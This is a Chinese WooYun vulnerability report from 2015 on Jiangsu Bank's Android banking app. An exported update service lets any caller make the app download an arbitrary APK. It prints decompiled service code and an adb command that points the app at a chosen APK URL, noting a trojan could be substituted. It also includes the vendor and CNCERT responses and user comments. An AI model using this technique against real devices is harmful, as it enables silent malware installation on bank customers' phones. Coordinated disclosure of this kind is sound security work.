当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104992

漏洞标题:江苏银行手机银行下载安装任意apk(可木马)

相关厂商:江苏银行

漏洞作者: i3p

提交时间:2015-03-31 14:21

修复时间:2015-05-17 14:04

公开时间:2015-05-17 14:04

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-04-02: 厂商已经确认,细节仅向厂商公开
2015-04-12: 细节向核心白帽子及相关领域专家公开
2015-04-22: 细节向普通白帽子公开
2015-05-02: 细节向实习白帽子公开
2015-05-17: 细节向公众公开

简要描述:

闲来无聊想挖几个银行APP的典型漏洞,刚好看到了江苏银行,银行嘛,你懂的,换成木马就严重了撒~

详细说明:

下载下来分析发现加了壳,首要当然是脱壳,具体步骤就不说了,直接说重点。
在xml文件里发现一个service组件导出:

<service android:name=".UpdateService">
<intent-filter>
<action android:name="cn.jsb.china.UpdateService" />
</intent-filter>
</service>


跟踪到源码,有个关键点:

public int onStartCommand(Intent arg6, int arg7, int arg8) {
Bundle v0 = arg6.getExtras();
if(v0 != null) {
this.a = v0.getBoolean("isupdate");
}
this.b = arg6.getStringExtra("url");
this.c = this.getSystemService("notification");
this.d = new Notification();
this.d.icon = 17301633;
if(this.a) {
this.i = new RemoteViews(this.getPackageName(), 2130903048);
this.d.tickerText = "正在下载江苏银行";
}
else {
this.i = new RemoteViews(this.getPackageName(), 2130903043);
this.d.tickerText = "正在下载手机证券";
}
this.d.when = System.currentTimeMillis();
this.d.flags |= 2;
this.d.flags |= 32;
this.d.defaults = 4;
this.d.contentView = this.i;
this.d.setLatestEventInfo(((Context)this), "", "", PendingIntent.getActivity(((Context)this),
0, arg6, 0));
this.c.notify(this.j, this.d);
this.g = new jn(this, Looper.myLooper(), ((Context)this));
this.g.sendMessage(this.g.obtainMessage(3, Integer.valueOf(0)));
new jm(this, this.b).start();
return super.onStartCommand(arg6, arg7, arg8);
}


直接就下载apk了有木有,看着那个url就是apk的地址。所以在adb shell中执行如下命令:

am startservice -n cn.jsb.china/.UpdateService --ez isupdate true --es url http://192.168.102.204/mijian_2.5.1_272.apk


后面的url是我本地的测试,这里随便选了个米键的安装包,当然可以换成木马apk。

漏洞证明:

看执行后的效果:

22.png


来源就是江苏银行哦,如果把木马名字改成升级包什么的,哦也,悄无声息。。

修复方案:

改代码,组件别导出(低版本可绕过),apk的加固强度高点也OK~

版权声明:转载请注明来源 i3p@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-04-02 14:02

厂商回复:

已经转由CNCERT向江苏分中心通报,江苏分中心已经协调软件管理单位。综合反馈情况,CNVD研判认为,该风险属于软件APP功能组件权限保护不当导致滥用的风险,暂不存在挂马和远程攻击风险,实际场景中需要诱使用户安装恶意软件才导致攻击发生。
针对所述风险,软件管理单位——江苏银行已经采取白名单机制保护,禁止外部应用使用对应的组件功能。后续CNVD将协同江苏分中心进一步建议其做好软件加固和组件功能权限相关工作。
rank 9 中危。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-31 14:28 | cnrstar ( 普通白帽子 | Rank:157 漏洞数:23 | Be my personal best!)

    这个看起来不错的样子,牛逼。

  2. 2015-03-31 14:38 | foolish_dog ( 路人 | Rank:12 漏洞数:2 | foolish_dog)

    看起来很屌的样子

  3. 2015-03-31 16:59 | 小色 ( 路人 | Rank:0 漏洞数:1 | 撸的一手好管)

    汝甚屌,令尊知否

  4. 2015-03-31 18:12 | 得清 ( 路人 | Rank:8 漏洞数:1 | 信息安全测评)

    这也能算是高危漏洞?岂不是正常下载东西都算有“高危”风险啊,太苛刻了吧,,,,嗯,感觉没啥利用价值。。。

  5. 2015-03-31 18:35 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @得清 你看的见漏洞细节?

  6. 2015-04-01 12:02 | i3p ( 路人 | Rank:25 漏洞数:4 | 浮云)

    @得清 你能看到细节?即使看到了,这难道不是高危?

  7. 2015-04-01 17:52 | 江苏银行(乌云厂商)

    感谢i3p对我行手机银行的关心和支持。因不能直接看到您描述的细节,通过wooyun间接了解了情况。经分析,所描述的是目前网站和应用上普遍使用的外部下载链接,对我行手机银行安全没有任何影响。为避免不必要事宜,我行已屏蔽了该链接。

  8. 2015-04-01 17:59 | i3p ( 路人 | Rank:25 漏洞数:4 | 浮云)

    @江苏银行 没看懂.屏蔽了什么链接?是校验不让下载外链的apk么?原来不算漏洞么?

  9. 2015-04-02 08:27 | cncert国家互联网应急中心(乌云厂商)

    @得清 这个从利用前提和利用效果看,是低危漏洞,有点仿冒的概念在里面. @江苏银行 与CNCERT江苏分中心已经共同研判.

  10. 2015-04-02 08:44 | Vern ( 普通白帽子 | Rank:517 漏洞数:77 | Keep It Simple, Stupid)

    cncert国家互联网应急中心 地方cncert分中心找人吗?是不是体制内单位?

  11. 2015-04-02 10:32 | i3p ( 路人 | Rank:25 漏洞数:4 | 浮云)

    @cncert国家互联网应急中心 就跟本地的Sqlite库注入一样,也是由于对外暴露了不必要的组件,还有暴露的webview组件等,都是这一类。而这个是下载安装apk了,在移动安全里是一个非常典型的漏洞,个人认为不会说是低危。

  12. 2015-05-02 19:24 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    方法还是值得学习的,另外围观吵架,哈哈--

  13. 2015-05-17 14:18 | 小荷才露尖尖角 ( 实习白帽子 | Rank:91 漏洞数:13 | less is more)

    关心洞主如何脱的壳